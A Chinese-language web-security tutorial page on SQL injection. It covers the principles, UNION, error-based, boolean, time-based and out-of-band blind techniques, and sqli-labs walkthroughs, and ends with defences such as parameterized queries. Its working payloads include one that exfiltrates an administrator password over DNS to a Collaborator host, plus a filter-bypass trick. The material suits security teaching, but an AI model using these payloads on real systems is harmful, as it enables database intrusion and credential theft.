WEB安全
00-HTTP协议
01-前端基础【HTML】
02-前端基础【CSS】
03-后端基础【PHP速通】
04-后端基础【PHP面向对象】
05-MySQL基础操作
06-前后端联动【代码练习】
07-SQL注入
08-SQL注入 Labs
09-跨站脚本攻击【XSS】
09-XSS Labs
10-CSRF
11-SSRF
12-XML 外部实体注入【XXE】
13-代码执行漏洞
14-命令执行漏洞
15-文件包含漏洞
16-文件上传漏洞
17-反序列化漏洞
18-业务逻辑漏洞
19-未授权访问漏洞集合
20-跨源资源共享【CORS】
21-SSTI模板注入
22-并发漏洞
23-点击劫持【Clickjacking 】
24-请求走私
25-路径遍历
26-访问控制
27-身份验证漏洞
28-WebSocket
29-Web缓存中毒
30-HTTP 主机头攻击
31-信息泄露漏洞
32-原型污染
33-API概述
34-API分类类型
35-API交换格式
36-API身份验证
37-API常见漏洞
38-crAPI靶场
39-JWT
40-DVGA靶场
41-服务器端参数污染
42-API Labs
43-OAuth Labs
44-GraphQL API Labs
45-JWT Labs
46-小程序抓包
47-云存储
48-对象存储OSS
49-存储桶
50-存储桶漏洞
51-STS访问OSS
-
+
07-SQL注入
浏览
1
# 一、概述 ## 什么是SQL注入 结构化查询语言(Structured Query Language)简称SQL,一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统。 SQL注入是一种攻击数据库的技术。攻击者通过在Web表单、输入框等地方,输入一段恶意的SQL代码,欺骗后端服务器执行这些非法的SQL语句,从而窃取、篡改、删除数据库中的敏感数据,甚至能获得服务器的更高控制权。 造成SQL注入漏洞的原因在于程序员编写程序时,没有对客户端提交的数据进行严格的过滤和判断,导致用户可以修改构造参数,提交SQL语句并传递到服务器端,从而获取想要的敏感信息,甚至进行执行危险的代码或者系统命令。 SQL注入原理:服务器端没有严格校验客户端发送的数据,从而导致服务器端的SQL语句被恶意修改并且成功执行的行为。 SQL注入成功的核心:1.用户可以控制参数,2.拼接到后端代码中的语句成功执行。 ## 有什么影响呢 SQL 注入攻击可能导致未经授权访问敏感数据,例如: - 密码; - 信用卡详细信息; - 个人用户信息。 多年来,SQL 注入攻击已在许多备受瞩目的数据泄露事件中被利用,这些事件造成了声誉损害和监管罚款。在某些情况下,攻击者可以获取组织系统中的持久后门,从而造成长期入侵,并且可能在很长一段时间内都无法察觉。 ## 原理 应用程序在处理用户输入(如表单提交、URL 参数、Cookie 等)时,如果未对输入进行严格的验证、过滤或转义,直接将用户输入拼接到 SQL 查询语句中,就可能导致 SQL 注入。 假设一个登录功能的后端 SQL 语句为: ```sql SELECT * FROM users WHERE username = '{$username}' AND password = '{$password}' ``` 如果攻击者在 “用户名” 输入框中填写:' OR 1=1 -- ,则拼接后的 SQL 语句会变成: ```sql SELECT * FROM users WHERE username = '' OR 1=1 -- ' AND password = 'xxx' ``` ## 如何检测 手动测试常用方式如下: - 单引号字符'并查找错误或其他异常; - 布尔条件(例如OR 1=1和OR 1=2)会查找应用程序响应中的差异; - 在 SQL 查询中执行时触发时间延迟,并寻找响应所需时间的差异。 ## 查询不同语句的SQL注入 大多数 SQL 注入漏洞都发生在查询WHERE语句的子句SELECT,大多数经验丰富的测试人员都熟悉这种类型的 SQL 注入。 然而,SQL 注入漏洞可能发生在查询中的任何位置,并且可能发生在不同的查询类型中。其他一些常见的 SQL 注入位置包括: - 在语句中UPDATE,在更新的值或WHERE子句内。 - 在语句中INSERT,在插入的值内。 - 在语句中SELECT,在表或列名内。 - 在SELECT语句中、在ORDER BY子句中。 ## 不同类型 ### 查找有关数据库的信息 要利用 SQL 注入漏洞,通常需要查找有关数据库的信息。这些信息包括: - 数据库软件的类型和版本。 - 数据库包含的表和列。 > 查询数据库类型和版本 您可以通过注入特定于提供程序的查询来识别数据库类型和版本,以查看其中一个是否有效 以下是一些用于确定某些流行数据库类型的数据库版本的查询: | 数据库类型 | 询问 | | ----------- | ----------------------- | | 微软,MySQL | SELECT @@version | | 甲骨文 | SELECT * FROM v$version | | PostgreSQL | SELECT version() | 例如,您可以使用UNION以下输入进行攻击: ```sql ' UNION SELECT @@version-- ``` 这可能会返回以下输出。在这种情况下,您可以确认数据库是 Microsoft SQL Server,并查看所使用的版本: ```txt Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64) Mar 18 2018 09:11:49 Copyright (c) Microsoft Corporation Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor) ``` > 列出数据库的内容 大多数数据库类型(Oracle 除外)都有一组称为信息模式的视图。它提供有关数据库的信息。 例如,您可以查询information_schema.tables列出数据库中的表: ```sql SELECT * FROM information_schema.tables ``` 这将返回如下输出: ```sql TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE ===================================================== MyDatabase dbo Products BASE TABLE MyDatabase dbo Users BASE TABLE MyDatabase dbo Feedback BASE TABLE ``` 此输出表明有三个表,分别称为Products、Users和Feedback。 然后,您可以查询information_schema.columns列出各个表中的列: ```sql SELECT * FROM information_schema.columns WHERE table_name = 'Users' ``` 这将返回如下输出: ```sql TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE ================================================================= MyDatabase dbo Users UserId int MyDatabase dbo Users Username varchar MyDatabase dbo Users Password varchar ``` 此输出显示指定表中的列以及每列的数据类型。 > 列出 Oracle 数据库的内容 在 Oracle 上,您可以找到如下相同的信息: - 您可以通过查询列出表格all_tables: SELECT * FROM all_tables - 您可以通过查询列出列all_tab_columns: SELECT * FROM all_tab_columns WHERE table_name = 'USERS' ### 检索隐藏数据 假设有一个购物应用,展示不同类别的商品。当用户点击**“礼品”**类别时,浏览器会请求以下 URL: ```sql https://insecure-website.com/products?category=Gifts ``` 这可能会导致应用程序进行 SQL 查询以从数据库中检索相关产品的详细信息: ```sql SELECT * FROM products WHERE category = 'Gifts' AND released = 1 ``` 此 SQL 查询要求数据库返回: - 所有详细信息(*) - 从products表格中 - 查询category是Gifts - 并且released是1。 该限制released = 1用于隐藏未发布的产品。对于未发布的产品,我们可以假设released = 0。 该应用程序未实施任何针对 SQL 注入攻击的防御措施。这意味着攻击者可以构造以下攻击,例如: ```sql https://insecure-website.com/products?category=Gifts'-- ``` 这将产生 SQL 查询: ```sql SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1 ``` 至关重要的是,请注意--SQL 中的注释符。这意味着查询的其余部分将被解释为注释,从而有效地将其删除。在此示例中,这意味着查询不再包含AND released = 1。因此,所有产品都会显示出来,包括尚未发布的产品。 您可以使用类似的攻击来使应用程序显示任何类别的所有产品,包括他们不知道的类别: ```sql https://insecure-website.com/products?category=Gifts'+OR+1=1-- ``` 这将产生 SQL 查询: ```sql SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1 ``` 修改后的查询将返回所有满足category或Gifts的1项目1。与1=1始终为真一样,查询将返回所有项目。 ### 业务逻辑漏洞 假设有一个应用程序允许用户使用用户名和密码登录。如果用户提交了用户名wiener和密码bluecheese,应用程序将通过执行以下 SQL 查询来检查凭据: ```sql SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese' ``` 如果查询返回用户的详细信息,则登录成功。否则,登录被拒绝。 在这种情况下,攻击者可以以任何用户身份登录,而无需密码。他们可以使用 SQL 注释序列从查询子句--中删除密码检查来实现这一点WHERE。例如,提交用户名administrator'--和空白密码将导致以下查询: ```sql SELECT * FROM users WHERE username = 'administrator'--' AND password = '' ``` 此查询返回用户,并成功以该用户username身份administrator登录攻击者。 ### 从其他数据库表检索数据【union注入】 SQL injection UNION attacks 如果应用程序以 SQL 查询结果作为响应,攻击者可以利用 SQL 注入漏洞从数据库中的其他表中检索数据。您可以使用UNION关键字执行附加SELECT查询,并将结果附加到原始查询中。 例如,如果应用程序执行包含用户输入的以下查询Gifts: ```sql SELECT name, description FROM products WHERE category = 'Gifts' ``` 攻击者可以提交以下输入: ```sql ' UNION SELECT username, password FROM users-- ``` 这会导致应用程序返回所有用户名和密码以及产品名称和描述。 可以使用UNION关键字从数据库内的其他表中检索数据,这通常称为 **SQL 注入 UNION 攻击**。 该UNION关键字允许您执行一个或多个附加SELECT查询,并将结果附加到原始查询。例如: ```sql SELECT a, b FROM table1 UNION SELECT c, d FROM table2 ``` 此 SQL 查询返回一个包含两列的结果集,包含 中的列和a以及中的列和 的值。 b table1 c dtable2 为了使UNION查询能够正常工作,必须满足两个关键要求: - 各个查询必须返回相同数量的列。 - 每列中的数据类型必须在各个查询之间兼容。 要执行 SQL 注入 UNION 攻击,请确保你的攻击满足以下两个要求。这通常涉及找出: - 原始查询返回了多少列。 - 从原始查询返回的哪些列具有合适的数据类型来保存注入查询的结果。 > 确定列数 执行 SQL 注入 UNION 攻击时,有两种有效的方法可以确定从原始查询返回了多少列。 一种方法是注入一系列ORDER BY子句并递增指定的列索引,直到发生错误。例如,如果注入点是WHERE原始查询子句中带引号的字符串,则应提交: ```sql ' ORDER BY 1-- asd ' ORDER BY 2-- asd ' ORDER BY 3-- asd ``` 这一系列有效负载会修改原始查询,使其按结果集中的不同列对结果进行排序。ORDER BY子句中的列可以通过其索引指定,因此您无需知道任何列的名称。当指定的列索引超过结果集中实际列的数量时,数据库将返回错误,例如: ```sql The ORDER BY position number 3 is out of range of the number of items in the select list. ``` 应用程序实际上可能会在其 HTTP 响应中返回数据库错误,但也可能发出通用错误响应。在其他情况下,它可能根本不返回任何结果。无论哪种情况,只要您能检测到响应中的一些差异,就可以推断出查询返回了多少列。 第二种方法涉及提交一系列UNION SELECT指定不同数量的空值的有效载荷: ```sql ' UNION SELECT NULL-- ads ' UNION SELECT NULL,NULL-- asd ' UNION SELECT NULL,NULL,NULL-- asd ``` 如果空值的数量与列数不匹配,数据库将返回错误,例如: ```sql All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists. ``` 我们使用NULL注入查询返回的值SELECT,因为每列中的数据类型必须在原始查询和注入查询之间兼容。NULL可以转换为每种常见的数据类型,因此当列数正确时,它最大限度地提高了有效载荷成功的机会。 与该技术一样ORDER BY,应用程序实际上可能会在其 HTTP 响应中返回数据库错误,但也可能返回一般错误或根本不返回任何结果。当空值的数量与列数匹配时,数据库会在结果集中返回一个额外的行,每列都包含空值。对 HTTP 响应的影响取决于应用程序的代码。如果幸运的话,您会在响应中看到一些额外的内容,例如 HTML 表上的额外行。否则,空值可能会触发不同的错误,例如NullPointerException。在最坏的情况下,响应可能看起来与由不正确的空值数量导致的响应相同。这将使此方法无效。 > 数据库特定语法 在 Oracle 上,每个SELECT查询都必须使用FROM关键字并指定一个有效的表。Oracle 中有一个内置表dual可用于此目的。因此,Oracle 上的注入查询需要如下所示: ```sql ' UNION SELECT NULL FROM DUAL-- a ``` 所述有效载荷使用双短划线注释序列--来注释掉注入点之后的原始查询的其余部分。在 MySQL 中,双短划线序列后面必须跟一个空格。或者,#也可以使用井号来标识注释。 > 查找具有有用数据类型的列 SQL 注入 UNION 攻击使您能够检索注入查询的结果。您想要检索的有趣数据通常是字符串形式。这意味着您需要在原始查询结果中找到一个或多个数据类型为字符串数据或与字符串数据兼容的列。 确定所需列数后,您可以探测每列,测试它是否可以容纳字符串数据。您可以提交一系列UNION SELECT有效负载,依次将字符串值放入每列中。 例如,如果查询返回四列,则您可以提交: ```sql ' UNION SELECT 'a',NULL,NULL,NULL-- ' UNION SELECT NULL,'a',NULL,NULL-- ' UNION SELECT NULL,NULL,'a',NULL-- ' UNION SELECT NULL,NULL,NULL,'a'-- ``` 如果列数据类型与字符串数据不兼容,则注入的查询将导致数据库错误,例如: ```sql Conversion failed when converting the varchar value 'a' to data type int. ``` 如果没有发生错误,并且应用程序的响应包含一些额外的内容(包括注入的字符串值),那么相关列适合检索字符串数据。 > 查询具体的数据 当您确定了原始查询返回的列数并发现哪些列可以保存字符串数据时,您就可以检索有趣的数据。 假设: - 原始查询返回两列,两列都可以保存字符串数据。 - 注入点是子句内的引号字符串WHERE。 - 该数据库包含一个名为的表,users其列为username和password。 users在此示例中,您可以通过提交输入 来检索表的内容: ```sql ' UNION SELECT username, password FROM users-- ``` 为了执行此攻击,您需要知道一个名为 的表,其中users包含两列,分别为username和password。如果没有这些信息,您将不得不猜测表和列的名称。所有现代数据库都提供了检查数据库结构并确定其包含哪些表和列的方法。 > 列出字段的多个数据 在某些情况下,前面示例中的查询可能仅返回单个列。 可以通过将值连接在一起来检索此单列中的多个值。您可以添加分隔符来区分组合的值。例如,在 Oracle 上,您可以提交以下输入: ```sql ' UNION SELECT username || '~' || password FROM users-- ``` 这使用了双管道序列,它是 Oracle 上的字符串连接运算符。注入的查询将和字段||的值连接在一起,并用 字符分隔。 usernamepassword~ 查询的结果包含所有用户名和密码,例如: ```sql ... administrator~s3cure wiener~peter carlos~montoya ... ``` 不同的数据库使用不同的语法来执行字符串连接。 ### 盲注 Blind SQL injection > 什么是盲注 当应用程序容易受到 SQL 注入,但其 HTTP 响应不包含相关 SQL 查询的结果或任何数据库错误的详细信息时,就会发生 SQL 盲注。 许多技术(例如UNION攻击)对于 SQL 盲注漏洞无效。这是因为它们依赖于在应用程序响应中查看注入查询的结果。利用 SQL 盲注仍然有可能访问未经授权的数据,但必须使用不同的技术。 > 通过触发条件响应来利用盲 SQL 注入 假设有一个应用程序使用跟踪 Cookie 来收集使用情况分析数据。向该应用程序发送的请求包含如下 Cookie 标头: ```txt Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4 ``` TrackingId当处理 包含 cookie 的请求时,应用程序使用 SQL 查询来确定这是否是已知用户: ```sql SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' ``` 此查询容易受到 SQL 注入攻击,但查询结果不会返回给用户。然而,应用程序的行为会根据查询是否返回数据而有所不同。如果您提交已识别的TrackingId,查询将返回数据,并且您会在响应中收到“欢迎回来”消息。 此行为足以利用盲 SQL 注入漏洞。您可以根据注入条件,通过有条件地触发不同的响应来检索信息。 为了理解此漏洞的工作原理,假设发送了两个请求,其中依次 包含以下cookie 值: ```sql …xyz' AND '1'='1 …xyz' AND '1'='2 ``` - 第一个值导致查询返回结果,因为注入的AND '1'='1条件为真。因此,显示“欢迎回来”消息。 - 第二个值导致查询不返回任何结果,因为注入的条件为 false。“欢迎回来”消息不会显示。 这使我们能够确定任何单个注入条件的答案,并一次提取一个数据。 例如,有一个名为Users 的表,Users其中包含列Username和Password,以及一个用户名Administrator。您可以通过发送一系列输入来逐个字符地测试密码,从而确定此用户的密码。 为此,请从以下输入开始: ```sql xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm ``` 这将返回“欢迎回来”消息,表明注入的条件为真,因此密码的第一个字符大于m。 接下来,我们发送以下输入: ```sql xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't ``` 这不会返回“欢迎回来”消息,表明注入的条件为假,因此密码的第一个字符不大于t。 最终,我们发送以下输入,返回“欢迎回来”消息,从而确认密码的第一个字符是s: ```sql xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's ``` 我们可以继续这个过程来系统地确定用户的完整密码Administrator。 > 基于错误的SQL注入 基于错误的 SQL 注入是指即使在盲注的情况下,你也能利用错误消息从数据库中提取或推断敏感数据的情况。具体可能性取决于数据库的配置以及你能够触发的错误类型: - 您或许能够根据布尔表达式的结果,诱导应用程序返回特定的错误响应 - 您或许能够触发输出查询返回数据的错误消息。这可以有效地将原本盲目的 SQL 注入漏洞转化为可见的漏洞 > 通过触发条件错误来利用盲注 某些应用程序执行 SQL 查询,无论查询是否返回任何数据,其行为都不会改变,注入不同的布尔条件不会对应用程序的响应产生任何影响。 通常,可以根据是否发生 SQL 错误来诱导应用程序返回不同的响应。您可以修改查询,使其仅在条件为真时才引发数据库错误。数据库抛出的未处理错误通常会导致应用程序的响应有所不同,例如出现错误消息。这使您能够推断注入条件的真实性。 为了了解其工作原理,假设发送了两个请求,它们分别 包含以下cookie 值: ```sql xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a ``` 这些输入使用CASE关键字来测试条件,并根据表达式是否为真返回不同的表达式: - 对于第一个输入,CASE表达式的计算结果为'a',这不会导致任何错误。 - 对于第二个输入,其计算结果为1/0,这会导致除以零的错误。 如果错误导致应用程序的 HTTP 响应出现差异,则可以使用此方法来确定注入的条件是否为真。 使用此技术,可以通过一次测试一个字符来检索数据: ```sql xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a ``` > 通过详细的 SQL 错误消息提取敏感数据 数据库配置错误有时会导致详细的错误消息。这些信息可能对攻击者有用。例如,请考虑以下错误消息,该错误消息是在向id参数中注入单引号后出现的: ```txt Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char ``` 这显示了应用程序使用我们的输入构建的完整查询。 在本例中,我们将一个单引号字符串注入到WHERE语句中,这使得构造包含恶意负载的有效查询变得更加容易,注释掉查询的其余部分可以防止多余的单引号破坏语法。 有时,可以诱导应用程序生成包含查询返回部分数据的错误消息。这实际上将原本盲目的 SQL 注入漏洞变成了可见的漏洞。 您可以使用CAST()函数来实现这一点。它允许您将一种数据类型转换为另一种数据类型。例如,假设一个查询包含以下语句: ```sql CAST((SELECT example_column FROM example_table) AS int) ``` 通常,您尝试读取的数据是字符串。尝试将其转换为不兼容的数据类型(例如int)可能会导致类似以下内容的错误: ```txt ERROR: invalid input syntax for type integer: "Example data" ``` 如果字符限制阻止您触发条件响应,则这种类型的查询也可能有用。 > 通过触发时间延迟来利用盲 SQL 注入 如果应用程序在执行 SQL 查询时捕获数据库错误并妥善处理,则应用程序的响应不会有任何变化,这意味着之前用于诱导条件错误的技术将失效。 在这种情况下,通常可以通过根据注入条件的真假触发时间延迟来利用 SQL 盲注漏洞。 由于应用程序通常会同步处理 SQL 查询,因此延迟 SQL 查询的执行也会延迟 HTTP 响应,这允许根据接收 HTTP 响应所需的时间来判断注入条件的真实性。 触发时间延迟的技术特定于所使用的数据库类型。例如,在 Microsoft SQL Server 上,您可以使用以下命令测试条件,并根据表达式是否为真来触发延迟: ```sql '; IF (1=2) WAITFOR DELAY '0:0:10'-- '; IF (1=1) WAITFOR DELAY '0:0:10'-- ``` WAITFOR DELAY 是 SQL Server 特有的命令,作用是让数据库暂停执行指定的时间,格式为 '时:分:秒'。 - 这些输入中的第一个不会触发延迟,因为条件1=2为假。 - 第二个输入触发 10 秒的延迟,因为条件1=1为真。 使用这种技术,我们可以通过一次测试一个字符来检索数据: ```sql '; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'-- ``` > 使用带外(OAST)技术利用盲 SQL 注入 应用程序可能会执行与上例相同的 SQL 查询,但以异步方式执行。 该应用程序继续在原始线程中处理用户请求,并使用另一个线程使用跟踪 Cookie 执行 SQL 查询。该查询仍然容易受到 SQL 注入攻击,但目前为止描述的所有技术都无法奏效。应用程序的响应不依赖于查询返回的任何数据、是否发生数据库错误或执行查询所需的时间。 在这种情况下,通常可以通过触发与您控制的系统进行带外网络交互来利用 SQL 盲注漏洞。这些交互可以根据注入的条件触发,从而逐条推断信息。更有用的是,数据可以直接在网络交互过程中被窃取。 多种网络协议可用于此目的,但通常最有效的是 DNS(域名服务)。许多生产网络允许 DNS 查询自由出站,因为它们对于生产系统的正常运行至关重要。 触发 DNS 查询的技术特定于所使用的数据库类型。例如,在 Microsoft SQL Server 上,以下输入可用于对指定域触发 DNS 查找: ```txt '; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'-- ``` 这将导致数据库对以下域执行查找: ```txt 0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net ``` 确定了触发带外交互的方法后,就可以使用带外通道从易受攻击的应用程序中窃取数据。例如: ```txt '; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')-- ``` 此输入读取用户的密码Administrator,附加一个唯一的 Collaborator 子域名,并触发 DNS 查找。此查找允许您查看捕获的密码: ```txt S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net ``` 带外 (OAST) 技术是检测和利用 SQL 盲注的有效方法,因为它成功率高,并且能够直接在带外通道内窃取数据。因此,即使在其他盲注利用技术有效的情况下,OAST 技术通常也是首选。 ### 二次注入 当应用程序处理来自 HTTP 请求的用户输入并以不安全的方式将输入合并到 SQL 查询中时,就会发生一次 SQL 注入。 二次 SQL 注入是指应用程序从 HTTP 请求中获取用户输入并将其存储以备将来使用。这通常是通过将输入放入数据库来实现的,但在数据存储的位置不会出现漏洞。之后,在处理另一个 HTTP 请求时,应用程序会检索存储的数据,并以不安全的方式将其合并到 SQL 查询中。因此,二次 SQL 注入也称为存储型 SQL 注入。 二次 SQL 注入通常发生在开发人员意识到 SQL 注入漏洞的情况下,因此可以安全地处理将输入初始放入数据库的操作。当数据稍后被处理时,由于之前已将其安全地放入数据库,因此被认为是安全的。此时,数据以不安全的方式处理,因为开发人员错误地认为它是可信的。 > 检查数据库 SQL 语言的一些核心功能在流行的数据库平台上以相同的方式实现,因此检测和利用 SQL 注入漏洞的许多方法在不同类型的数据库上的工作方式相同。 然而,常见数据库之间也存在诸多差异。这意味着一些检测和利用 SQL 注入的技术在不同平台上的工作方式有所不同。例如: - 字符串连接的语法; - 评论; - 批量(或堆叠)查询; - 特定于平台的 API; - 错误消息。 识别 SQL 注入漏洞后,获取有关数据库的信息通常很有用。这些信息可以帮助您利用该漏洞。 您可以查询数据库的版本详细信息。不同的方法适用于不同的数据库类型。这意味着,如果您找到某个有效的方法,就可以推断出数据库类型。例如,在 Oracle 上,您可以执行: ```sql SELECT * FROM v$version ``` 您还可以识别哪些数据库表存在以及它们包含的列。例如,在大多数数据库中,您可以执行以下查询来列出表: ```sql SELECT * FROM information_schema.tables ``` ### 不同上下文中的 SQL 注入 在之前的实验中,使用了查询字符串来注入恶意 SQL 负载。然而,可以使用任何可控的输入(这些输入会被应用程序处理为 SQL 查询)来执行 SQL 注入攻击。例如,某些网站会接受 JSON 或 XML 格式的输入,并以此来查询数据库。 这些不同的格式可能为您提供不同的方法来混淆那些原本会被 WAF 和其他防御机制阻止的攻击。薄弱的实现通常会在请求中查找常见的 SQL 注入关键字,因此可以通过对禁用关键字中的字符进行编码或转义来绕过这些过滤器。 例如,以下基于 XML 的 SQL 注入使用 XML 转义序列S对 中的字符进行编码SELECT: ```xml <stockCheck> <productId>123</productId> <storeId>999 SELECT * FROM information_schema.tables</storeId> </stockCheck> ``` 这将在服务器端进行解码,然后传递给 SQL 解释器。 ## 防护措施 > 输入验证 对所有用户输入进行验证 :包括 URL 参数、表单数据、HTTP 头等,确保输入符合预期的数据类型、格式和长度。 过滤特殊字符 :在应用程序层面,禁止或转义用户输入中的特殊字符,如分号 `;`、单引号 `'`、双引号 `"`、反引号 等,以防止攻击者构造恶意 SQL 语句。 例如,可以使用 PHP 中的 mysql_real_escape_string() 函数对字符串进行转义处理。 > 使用参数化查询 可以使用参数化查询(而不是查询中的字符串连接)来预防大多数 SQL 注入,这些参数化查询也称为“准备好的语句”。 以下代码容易受到 SQL 注入攻击,因为用户输入直接连接到查询中: ```java String query = "SELECT * FROM products WHERE category = '"+ input + "'"; Statement statement = connection.createStatement(); ResultSet resultSet = statement.executeQuery(query); ``` 可以以防止用户输入干扰查询结构的方式重写此代码: ```java PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?"); statement.setString(1, input); ResultSet resultSet = statement.executeQuery(); ``` ```php $stmt = $pdo->prepare('SELECT * FROM users WHERE username = ? AND password = ?'); $stmt->execute([$username, $password]); $user = $stmt->fetch(); ``` 避免拼接 SQL 语句 :不要将用户输入直接拼接到 SQL 查询字符串中,以免攻击者通过注入恶意代码篡改 SQL 逻辑。 对于不受信任的输入作为查询中的数据出现的任何情况,包括子句和or语句WHERE中的值,都可以使用参数化查询。 > 权限控制 限制数据库账户权限 :为 Web 应用创建专门的数据库账户,并遵循最小权限原则,仅授予其访问和操作必要数据表的权限。例如,如果应用程序仅需要读取数据,就不应授予写入权限。 避免使用特权账户 :不要使用数据库管理员账户(如 root)连接应用程序,因为一旦攻击者通过 SQL 注入获取控制权,将能够对整个数据库进行无限制的操作。 # 二、联合注入-数字型 ## 概述 **注入的本质** - 用户输入的数据被当做代码执行。 **注入条件** - 用户可以控制传参; - 用户输入的语句被带入数据库并执行。 **显错注入原理** - 用户输入的数据被当做SQL语句执行,并带入数据库执行。 - 对用户输入的数据没有做任何过滤,并且将结果返回到页面。 **显错注入所用函数** order by -->对字段进行排序 group_concat() -->将字符连接起来,输出字符串集合,逗号分开 limit start end 限制select的输出数量 database() -->当前所用数据库名 version() -->数据库版本号 user() -->用户名 ## 靶场Less-2 1、进入靶场  2 、将id=1处1改为2  3、轻松得知:该页面是通过id进行传参,通过改变id的值页面返回不同的内容 4、分别使用and 1=1 和and 1=2 进行探测   5、观察页面发生了变化,使用order by 判断字段数 [一般通过二分法判断]     6、得知字段数为3,使用联合查询 UNION 操作符用于连接两个以上的 SELECT 语句的结果组合到一个结果集合中。 多个 SELECT 语句会删除重复的数据 0 union select 1,2,3 观察回显点  7、回显点2,3,使用version()和database() 获得版本号和当前数据库的名称  8、得知MySQL版本号为5.0以上版本,所以可以使用MySQL自带数据库information_schema中的table和column表爆出数据 9、使用group_concat 爆出当前数据库下的所有表名  10、查询users表下的所有字段  11、查看user和password字段信息 第一种方法:使用limit 依次得出信息   第二种:使用group_concat()得出信息  ## 后端代码 ```php $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; ``` 接收id变量的传参,将id的传参值带入数据库进行查询。 # 三、联合注入-字符型 ## 概述 **注入的本质** 用户输入的数据被当做代码执行。 **注入条件** - 用户可以控制传参; - 用户输入的语句被带入数据库并执行。 **显错注入原理** - 用户输入的数据被当做SQL语句执行,并带入数据库执行。 - 对用户输入的数据没有做任何过滤,并且将结果返回到页面。 - 没有做任何防护 **注入的关键操作** - 构造闭合。 ## 注入基础 MySQL注释符:# 或 --空格 或 /**/ 内联注释:/*! SQL语句 */ 只有MySQL可以识别,常用来绕过WAF 注入探测符:常使用 \ 进行探测 ## 靶场Less-1 1、靶场  2、根据前面的数学型注入,可先使用and 1=2 探测  页面无反应 3、使用探测符号\  4、根据报错信息 ''1\' LIMIT 0,1' ==> '1\' LIMIT 0,1 (反斜杠通常为转义符)==>可猜测变量id由单引号字符围绕 构造payload: id=1' -- q (--空格 为MySQL的注释符) 5、查看后端源代码 ```php $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; ``` 添加构造的payload后: ```php $sql="SELECT * FROM users WHERE id='1'-- q' LIMIT 0,1"; ``` 6、将payload写入到靶场中,页面正常  7、使用oder by 探测字段数    8、探测字段数为3,使用联合查询,观察回显点 http://127.0.0.1/sqli/Less-1/?id=0' union select 1,2,3 -- q  9、探测版本号和当前数据库名  10、利用MySQL自带数据库information_schema得出数据 http://127.0.0.1/sqli/Less-1/?id=0' union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema=database() -- q  11、查看users数据表中的字段名 http://127.0.0.1/sqli/Less-1/?id=0' union select 1,version(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- q  12、查询username、password字段信息,使用limit 依次查看 http://127.0.0.1/sqli/Less-1/?id=0' union select 1,username,password from users limit 3,1 -- q  ## 总结 字符型注入与数字型注入的区别为 有无包裹变量的符号不同 以下几种包裹方式注入,与‘$id’ 注入同理 ```php $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $sql="SELECT * FROM users WHERE id=“$id” LIMIT 0,1"; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1"; $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; $sql="SELECT * FROM users WHERE id=(“$id”) LIMIT 0,1"; ``` 注入的关键在于 **构造闭合** # 四、报错型注入 ## 利用场景 当页面没有正确的返回错误信息时,就可以利用报错注入 ## 原理 利用数据库中的个别函数进行报错使用 ## 常见函数 - updatexml() - extractvalue() **extractvalue()** extractvalue() :对XML文档进行查询的函数 语法:extractvalue(目标xml文档,xml路径) 第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。 extractvalue(456,concat(0x7e,version(),0x7e)) **updatexml()** updatexml():更新XML文档的函数 语法:updatexml(目标xml内容,xml文档路径,更新的内容) updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) 实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候他其实已经执行了那个子查询代码 **其他所用函数** - concat() ==>将多个字符串连接成一个字符串 ## 靶场Less-5 1、进入靶场  2、使用反斜杠\进行探测,报出错误信息  3、分析报错 ''1\' LIMIT 0,1' ==>'1\' LIMIT 0,1 ==>猜测变量由单引号包裹 故构造payload 1' -- q 4、写入payload,页面正常  5、得到字段数3,观察到页面没有回显点,但是有报错信息   6、可利用updatexml()函数 构造payload:updatexml(1,concat(0x7e,version(),0x7e),1) 注意MySQL支持16进制编码 ```URL http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,version(),0x7e),1)-- q 得出版本号 5.0以上 